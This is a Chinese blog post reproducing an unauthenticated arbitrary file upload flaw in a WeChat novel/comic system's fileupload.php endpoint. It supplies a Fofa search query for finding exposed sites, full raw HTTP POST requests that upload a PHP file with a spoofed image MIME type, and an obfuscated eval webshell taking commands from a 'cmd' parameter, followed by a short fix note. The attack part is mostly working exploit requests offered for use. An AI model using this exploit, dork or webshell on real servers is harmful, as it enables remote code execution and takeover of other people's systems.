首页 > 编程语言 >微信公众号小说漫画系统 fileupload.php 任意文件上传复现

微信公众号小说漫画系统 fileupload.php 任意文件上传复现

时间:2024-10-10 17:47:32浏览次数:3  
标签:fileupload 0.1 微信 image Content sec php 上传

0x01 漏洞描述:

        在微信公众号小说漫画系统的 fileupload.php 接口中,存在任意文件上传漏洞,该漏洞允许未经身份验证的攻击者上传恶意文件,从而实现代码执行。这种安全隐患使得攻击者能够在服务器上写入后门程序,获取服务器权限,并最终控制整个 Web 服务器。攻击者可能借助重命名文件、伪造 MIME 类型等手段绕过文件类型限制,构造包含恶意代码的文件进行上传。一旦上传成功,攻击者便可通过访问该文件的 URL 执行其中的代码,造成严重的安全威胁。

0x02 搜索语句:

Fofa:"/Public/home/mhjs/jquery.js"

0x03 漏洞复现:

POST /Public/webuploader/0.1.5/server/fileupload.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 197
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAW4kl2MUmkWNAgBW
Cookie: PHPSESSID=bf13e78oe1uqp8nh3crld1gu55; curIndex=3; uloginid=586639
Host: your-ip
Origin: http://127.0.0.1
Pragma: no-cache
Referer: http://127.0.0.1/Public/webuploader/0.1.5/server/fileupload.php
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1

------WebKitFormBoundary03rNBzFMIytvpWhy
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundary03rNBzFMIytvpWhy--

上传成功后访问接口 访问文件路径进行访问

https://your-ip/Public/webuploader/0.1.5/server/upload/1.php

webshell上传

POST /Public/webuploader/0.1.5/server/fileupload.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 197
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAW4kl2MUmkWNAgBW
Cookie: PHPSESSID=bf13e78oe1uqp8nh3crld1gu55; curIndex=3; uloginid=586639
Host: your-ip
Origin: http://127.0.0.1
Pragma: no-cache
Referer: http://127.0.0.1/Public/webuploader/0.1.5/server/fileupload.php
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
sec-fetch-user: ?1

------WebKitFormBoundary03rNBzFMIytvpWhy
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg

<?php class G643t6Jo { public function __construct($HPyRR){ @eval("/*Z20S9180P1*/".$HPyRR."/*Z20S9180P1*/"); }}new G643t6Jo($_REQUEST['cmd']);?>
------WebKitFormBoundary03rNBzFMIytvpWhy--

 

 建立连接

0x04 修复建议:

限制上传文件后缀

关闭互联网暴露面或接口设置访问权限

标签:fileupload,0.1,微信,image,Content,sec,php,上传
From: https://blog.csdn.net/xc_214/article/details/142827627

相关文章

  • ThinkPHP5&bootstrap&MySQL开发学习平台(包括后台管理功能、PC端网页、移动端网页)手把
    一、项目预览(全部源码链接在最下面)功能及页面持续优化中......二、本地运行方式1、下载源码包进行解压(源码在最下面)2、下载phpstudy_pro,并运行Apache&......
  • php设计模式(二)结构
    适配器模式(Adapter):结合两个不兼容的接口。GoF定义:将一个类的接口转换成客户希望的另外一个接口。Adapter模式使得原本由于接口不兼容而不能一起工作的那些类可以一起工作<?phpclassmessage{publicfunctionsend(){echo'faxiaoix';}publicfunctio......
  • php学习片段
    目录1.$2.->3.EOF4.数组5.in_array6.=>7.as8.unset1.$$i是一个变量名,在PHP中以$符号开头表示一个变量。1.$i=0;这里将变量$i初始化为0。2.->PHP代码中,->是用于访问对象的属性和方法的操作符。例如:$res->fields["job_number"]表示访问$res这个对象的fi......
  • php设计模式(一)创建
    1、创建单例模式:确保一个类只有一个实例,并提供一个全局访问点。使用static静态变量和静态类工厂模式:主要是把工厂抽象出来一个抽象类,子类继承,通过子类构建,调用抽象工厂模式:抽象工厂模式的核心就是共创抽象类不止一个子类的构建,比如,我要发消息,还要推送一条消息,创建两个子类的......
  • .Net微信服务商平台ApiV3接口
    转载:https://www.cnblogs.com/xilen/p/15380183.html开始在开始之前建议仔细读微信官方文档,接口规则及api文档https://pay.weixin.qq.com/wiki/doc/apiv3_partner/wechatpay/wechatpay-1.shtmlhttps://pay.weixin.qq.com/wiki/doc/apiv3_partner/index.shtml目录整个流程开......
  • 【原创】微信自动回复工具(下篇)
    全文离第一篇文章已经不知不觉过去3年多了,这段时间有空重新重构了一套消息回传模式,工具介绍官网:→→ http://message.fuyue.xyz/ ←← 视频演示:观看视频功能列表本微信助手工具目前已经实现如下功能:接收微信好友消息接收微信群组消息接收系统消息(添加好友、退群、......
  • PHP语言调用翔云身份证实名认证接口
    身份证实名认证接口是一种用于验证用户身份的在线服务。它通过接收用户提供的身份证号码和姓名,与权威的数据进行比对,以确认用户的身份是否真实有效。使用该接口时,通常需要向服务提供商提供以下信息:用户的姓名用户的身份证号码用户的证件头像用户的现......
  • 微信公众号开发---获取用户信息(第⑧篇)
    如果是零基础的小白,建议从本人微信公众号开发栏目的第一篇开始看:微信公众号开发-接口配置信息(第①篇)_微信公众号接口配置信息怎么设置-CSDN博客本文章讲解的是如何获取用户的信息,只要用户关注了,自动获取,并且可以把某些需要的字段存入数据库。代码:<?php//获取用户基本......
  • 【关注可白嫖源码】springboot基于微信小程序的二手书籍交易平台
    摘 要国内的京东商城、天猫、苏宁易购等大型网站在图书销售等商品零售领域已经十分成熟完善,但是以高校学生二手书为主的二手图书资源目前还没有得到合理的开发利用。本人设计和实现的基于微信小程序的二手书籍交易平台是通过合理的市场调查然后才着手实施的。系统分前端和......
  • 【精品毕设推荐】基于微信小程序的电影订票系统设计与实现
    点击下载原文及代码,可辅助在本地配置运行......